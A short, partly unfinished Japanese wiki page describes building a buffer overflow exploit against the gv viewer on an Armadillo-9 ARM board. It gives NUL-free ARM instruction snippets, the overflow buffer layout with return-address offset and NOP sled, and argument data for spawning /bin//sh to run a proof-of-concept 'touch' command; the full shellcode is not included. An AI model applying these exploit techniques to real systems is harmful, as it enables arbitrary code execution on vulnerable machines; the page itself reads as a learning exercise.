FrontPage > Armadillo-9 > exploit gv

gv へのバッファオーバーフロー攻撃

環境

実行結果

攻撃対象、条件

攻撃する箇所

攻撃のための条件

攻撃コードの記述における注意点

使用したレジスタ一覧

r0 〜 r2 のロード

ldr r0, [r5+n+0]

としたい(n は攻撃コードサイズ、後ほど説明)が、nul 文字がでてしまう。そのためにメモリ上に工夫して置いて ldmia で一気に読む方法を使う。

| 0x00000000
[r0] r5+n+68
[r1] r5+n+72
[r2] r5+n+76
| 0xffffffff

メモリ上にはこのように配置する。

mov r6, r5
add r6, r6, #n+68
ldmia r6, {r0, r1, r2, r10}

このように読み込む。nul 文字を避けるため r10 が余計に追加されているが、副作用は r5+n+80 にあるゴミデータを読み出すだけなので問題ない。r10 でなくても構わないが、nul 文字だけには気をつける。
ldmid だと上から読んでくれないのでレジスタリストが変更されると、メモリとレジスタの対応位置が変わってしまって困る??ARM は 4つのモードがあって、よくわからん…。

今回作成した攻撃データの詳細

ここでは

今回作成した攻撃データの配置イメージ

0x000: [バッファをあふれさせるための適当なデータ]
0x1b9: [上書きするリターンアドレスの値]
0x1bd: [nop 代わりの mov r5, r5 で埋めた領域]
0x4e1: [mov r5, pc] <- この地点の pc からの相対位置~
                   (r5 に入れる)で攻撃に用いるデータを参照する
0x4e5: [sub r5, r5, #8]
0x4e5: [攻撃コード]
0x5cd: [パディング]
0x60d: [攻撃データ]

上書きするリターンアドレスの値について

コンパイルの条件などで変わる可能性があります。基本的には自分で探すものだと思います。

リターンアドレスの格納位置の探し方

参考までに、私が探した方法を掲載いたします。攻撃対象となる関数がどこにリターンするかを考えれば、比較的簡単に見つかるはずです。

攻撃データの配置

offset
+0    ["/bin"]["//sh"][NULL]
+12   ["-ppi"][NULL]
+20   ["touc"]["h${I"]["FS}/"]["tmp/"]["itwo"]["rked"][NULL]
+48   [argv[0]][argv[1]][argv[2]][argv[3]]
+64   [env]
+68   [r0][r1][r2]
+80   [swi]

各フィールドの説明

攻撃コード

載せる?

参考文献


トップ   編集 凍結 差分 履歴 添付 複製 名前変更 リロード   新規 一覧 検索 最終更新   ヘルプ   最終更新のRSS
Last-modified: 2014-09-13 (土) 08:26:38